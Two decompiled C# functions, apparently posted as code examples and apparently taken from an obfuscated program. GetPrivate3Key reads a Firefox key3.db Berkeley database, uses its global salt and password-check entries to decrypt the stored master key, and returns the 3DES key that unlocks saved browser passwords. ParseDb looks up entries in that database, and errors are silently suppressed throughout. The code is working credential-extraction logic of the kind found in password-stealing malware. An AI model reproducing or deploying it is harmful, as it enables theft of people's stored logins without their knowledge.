Пример #1
0
 // Token: 0x060001D9 RID: 473 RVA: 0x000101CC File Offset: 0x0000E3CC
 private static byte[] GetPrivate3Key(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         new DataTable();
         Class_70 berkeleyDB = new Class_70(file);
         Class_72 class_     = new Class_72(Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
         string   hexString  = Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
         Class_71 class_2    = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Class_69.ConvertHexStringToByteArray(class_.prop_0));
         class_2.smethod_230();
         Class_50.Decrypt(class_2.prop_3, class_2.prop_4, Class_69.ConvertHexStringToByteArray(class_.prop_2), PaddingMode.None);
         Class_62 class_3 = Class_61.Create(Class_69.ConvertHexStringToByteArray(Class_78.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         Class_71 class_4 = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), class_3.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1);
         class_4.smethod_230();
         Class_62 class_5 = Class_61.Create(Class_61.Create(Encoding.Default.GetBytes(Class_50.Decrypt(class_4.prop_3, class_4.prop_4, class_3.prop_3[0].prop_3[1].prop_1, PaddingMode.None))).prop_3[0].prop_3[2].prop_1);
         if (class_5.prop_3[0].prop_3[3].prop_1.Length > 24)
         {
             Array.Copy(class_5.prop_3[0].prop_3[3].prop_1, class_5.prop_3[0].prop_3[3].prop_1.Length - 24, array, 0, 24);
         }
         else
         {
             array = class_5.prop_3[0].prop_3[3].prop_1;
         }
     }
     catch
     {
     }
     return(array);
 }
Пример #2
0
        // Token: 0x060001DA RID: 474 RVA: 0x00010458 File Offset: 0x0000E658
        private static string ParseDb(Class_70 berkeleyDB, Func <string, bool> predicate)
        {
            string text = string.Empty;

            try
            {
                foreach (KeyValuePair <string, string> keyValuePair in berkeleyDB.prop_1)
                {
                    if (predicate(keyValuePair.Key))
                    {
                        text = keyValuePair.Value;
                    }
                }
            }
            catch
            {
            }
            return(text.Replace("-", string.Empty));
        }